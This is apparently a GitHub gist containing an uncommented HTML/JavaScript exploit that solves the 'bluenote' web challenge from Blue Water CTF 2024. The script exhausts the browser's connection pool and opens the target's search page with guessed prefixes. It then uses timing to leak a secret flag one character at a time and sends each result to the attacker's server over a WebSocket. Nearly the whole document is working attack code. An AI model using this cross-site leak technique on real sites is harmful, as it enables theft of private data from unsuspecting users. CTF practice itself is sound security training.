Created
August 18, 2025 01:52
-
-
Save strellic/11398378859f469394d800159180df2a to your computer and use it in GitHub Desktop.
Blue Water CTF 2024 - web/bluenote solve
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<link rel="icon" type="image/x-icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=="> | |
</head> | |
<body> | |
<script> | |
const sleep = ms => new Promise(r => setTimeout(r, ms)); | |
const params = new URLSearchParams(location.search); | |
const TARGET = params.get("t") || "http://localhost:1337"; | |
const KNOWN = params.get("k") || "bwctf{"; | |
const ALPHABET = "}_abcdefghijklmnopqrstuvwxyz".substring("}_abcdefghijklmnopqrstuvwxyz".indexOf(location.hash.slice(1))); | |
const SOCKET_LIMIT = 256; | |
const WINDOW_COUNT = 1; | |
const SCRIPT_TIMEOUT = 1000; | |
const REBLOCK_DELAY = 1; | |
const THRESHOLD = 1; | |
const log = (data) => { | |
document.title = data; | |
console.log(data); | |
if (window.ws && window.ws.readyState === WebSocket.OPEN) window.ws.send(data); | |
}; | |
const nextSleepServer = (() => { | |
let count = 0; | |
return () => { | |
let next = count++; | |
return `//aaaaa{next}.sleep.server/wait/${next}`; | |
} | |
})(); | |
const blockers = []; | |
const block = async (controller, opts = {}) => { | |
const next = nextSleepServer(); | |
try { | |
await fetch(next, { mode: "no-cors", signal: controller.signal }); | |
} | |
catch {} | |
}; | |
const reblock = (opts = {}) => { | |
const controller = new AbortController(); | |
blockers.push(controller); | |
try { blockers.shift()?.abort() } catch {} | |
if (opts.delay) { | |
setTimeout(() => block(controller, opts), opts.delayFor ?? REBLOCK_DELAY); | |
} else { | |
block(controller, opts); | |
} | |
}; | |
const unblock = () => { | |
for (const controller of blockers) { | |
try { controller.abort() } catch {}; | |
} | |
blockers.length = 0; | |
}; | |
const check = async () => { | |
let script; | |
const result = await new Promise((resolve) => { | |
script = document.createElement("script"); | |
script.onerror = () => { | |
resolve(true); | |
}; | |
script.src = "//wtmoo?" + Math.random(); | |
script.defer = true; // mmight not be necessary idk | |
document.head.appendChild(script); | |
setTimeout(() => resolve(false), SCRIPT_TIMEOUT); | |
reblock({ delay: true }); | |
}); | |
script.remove(); | |
return result; | |
}; | |
const oracle = async (query) => { | |
for (let i = 0; i < SOCKET_LIMIT; i++) { | |
const controller = new AbortController(); | |
blockers.push(controller); | |
block(controller); | |
} | |
const windows = []; | |
await sleep(1500); | |
for (let i = 0; i < WINDOW_COUNT; i++) | |
windows.push(window.open(`${TARGET}/search?query=${encodeURIComponent(query)}&${Math.random()}`)); | |
await sleep(1500); | |
reblock(); | |
await sleep(250); | |
let count = 0; | |
while (!(await check()) && count < 16) { | |
count++; | |
} | |
windows.map(w => w?.close()); | |
unblock(); | |
if (count == 16) { | |
return -1; | |
} | |
return count; | |
}; | |
window.onload = () => { | |
if (params.has("debug")) return; | |
window.ws = new WebSocket(location.origin.replace("http://", "ws://").replace("https://", "wss://") + "/log"); | |
window.ws.onopen = async () => { | |
log(`connected!\n\tknown ${KNOWN}\n\talphabet ${ALPHABET}\n\tthreshold ${THRESHOLD}\n\ttarget ${TARGET}`); | |
for (const c of ALPHABET) { | |
const count = await oracle(KNOWN + c); | |
log(`${KNOWN + c}: ${count}`); | |
if (count >= THRESHOLD && count != -1) { | |
const count2 = await oracle(KNOWN + c); // double check | |
if (count2 >= THRESHOLD && count2 !== -1) { | |
log(`found: ${KNOWN + c} (${count2})`); | |
break; | |
} | |
else { | |
log(`false positive: ${KNOWN + c}? (${count2} < ${THRESHOLD})`); | |
} | |
} | |
} | |
}; | |
}; | |
</script> | |
</body> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment